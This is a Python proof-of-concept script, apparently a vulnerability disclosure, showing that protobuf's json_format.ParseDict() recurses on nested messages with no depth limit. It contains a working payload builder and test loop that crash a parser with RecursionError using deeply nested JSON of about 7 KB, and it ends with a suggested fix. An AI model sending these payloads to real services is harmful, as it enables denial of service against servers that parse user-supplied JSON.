poc_protobuf_recursive_json.py

"""
PoC: protobuf json_format.ParseDict() Uncontrolled Recursion
Target : protobuf (PyPI `protobuf`) — google.protobuf
Format : Protocol Buffers (binary + JSON)
Tested : protobuf 5.29.6, Python 3.12
Author : mgm-77 / MBM7

=== Finding: json_format.ParseDict() recurses on nested message fields
    with NO depth limit — crashes server with RecursionError on 7.4KB payload ===
CWE-674 (Uncontrolled Recursion)

google/protobuf/json_format.py, _ConvertMessage():

    def _ConvertMessage(value, message, path):
        for field_name, field_value in value.items():
            ...
            _ConvertMessage(field_value, sub_message, path)  # ← no depth check

json_format.ParseDict() uses _ConvertMessage() which recurses per nested
message level with NO depth limit. The binary parser (ParseFromString) has
DEFAULT_RECURSION_LIMIT=100, but ParseDict() has zero protection.

=== Asymmetry ===
  ParseFromString(): DEFAULT_RECURSION_LIMIT = 100 → PROTECTED
  ParseDict():       no recursion limit          → UNPROTECTED

=== Attack scenario ===
API accepts JSON from user → calls ParseDict(user_json, proto_message)
→ RecursionError crashes the server at depth=200 (default Python stack).

A 7,446-byte JSON payload with 200 nesting levels crashes any Python
server that uses ParseDict() to convert user-supplied JSON to protobuf.
"""

import json
import sys
import tracemalloc
from google.protobuf import struct_pb2
from google.protobuf.json_format import ParseDict, MessageToJson, MessageToDict


# ── Payload builder ───────────────────────────────────────────────────────────

def make_nested_json_payload(depth: int) -> dict:
    """
    Build a Struct-compatible JSON dict with `depth` levels of nesting.
    Each level wraps the previous in a struct_value field.
    """
    inner = {"string_value": "x"}
    for _ in range(depth):
        inner = {"struct_value": {"fields": {"x": inner}}}
    return {"fields": {"root": inner}}


# ── Main ──────────────────────────────────────────────────────────────────────

print("=" * 64)
print("protobuf json_format.ParseDict() Uncontrolled Recursion")
print("CWE-674 — no depth limit on nested message conversion")
print("=" * 64)
print(f"\n  Python recursion limit : {sys.getrecursionlimit()}")
print(f"  Binary parser limit   : DEFAULT_RECURSION_LIMIT = 100")
print(f"  ParseDict() limit     : NONE (unprotected)")

CASES = [
    (150, "near crash"),
    (200, "confirmed crash at default limit"),
    (250, "also crashes"),
]

for depth, label in CASES:
    payload     = make_nested_json_payload(depth)
    payload_str = json.dumps(payload)
    payload_b   = payload_str.encode()

    print(f"\n  [{label}]")
    print(f"  Nesting depth   : {depth} levels")
    print(f"  JSON payload    : {len(payload_b):,} bytes")

    tracemalloc.start()
    try:
        msg = struct_pb2.Struct()
        ParseDict(payload, msg)
        peak = tracemalloc.get_traced_memory()[1]
        print(f"  Result          : OK (unexpected)  peak={peak/1e6:.0f}MB")
    except RecursionError:
        peak = tracemalloc.get_traced_memory()[1]
        print(f"  Result          : RecursionError — server CRASH ✓")
        print(f"  Peak memory     : {peak/1e6:.0f} MB")
    except Exception as e:
        peak = tracemalloc.get_traced_memory()[1]
        print(f"  Result          : {type(e).__name__}: {e}")
        print(f"  Peak memory     : {peak/1e6:.0f} MB")
    finally:
        tracemalloc.stop()

# Verify binary parser IS protected (for contrast)
print()
print("=" * 64)
print("Contrast: binary ParseFromString IS protected (depth limit 100):")
try:
    msg = make_nested_json_payload(200)
    struct_msg = struct_pb2.Struct()
    ParseDict(msg, struct_msg)          # construct deep message first
    binary = struct_msg.SerializeToString()
    msg2 = struct_pb2.Struct()
    msg2.ParseFromString(binary)
    print(f"  ParseFromString(depth=200): OK")
except RecursionError:
    print(f"  ParseFromString(depth=200): RecursionError (binary also crashes)")
except Exception as e:
    print(f"  ParseFromString(depth=200): {type(e).__name__}: {e}  ← BLOCKED by depth limit")

print()
print("=" * 64)
print("Root cause — google/protobuf/json_format.py, _ConvertMessage():")
print()
print("  def _ConvertMessage(value, message, path):")
print("      for field_name, field_value in value.items():")
print("          ...                            ")
print("          _ConvertMessage(field_value,   # ← recurses with NO depth check")
print("                          sub_message, path)")
print()
print("Suggested fix: add depth parameter and limit:")
print("  def _ConvertMessage(value, message, path, depth=0):")
print("      if depth > _MAX_RECURSION_DEPTH:  # e.g. 100")
print("          raise ParseError('Message too deeply nested')")
print("      _ConvertMessage(field_value, sub_message, path, depth+1)")
print()
print("=" * 64)
import importlib.metadata
print(f"protobuf : {importlib.metadata.version('protobuf')}")
print(f"Python   : {sys.version.split()[0]}")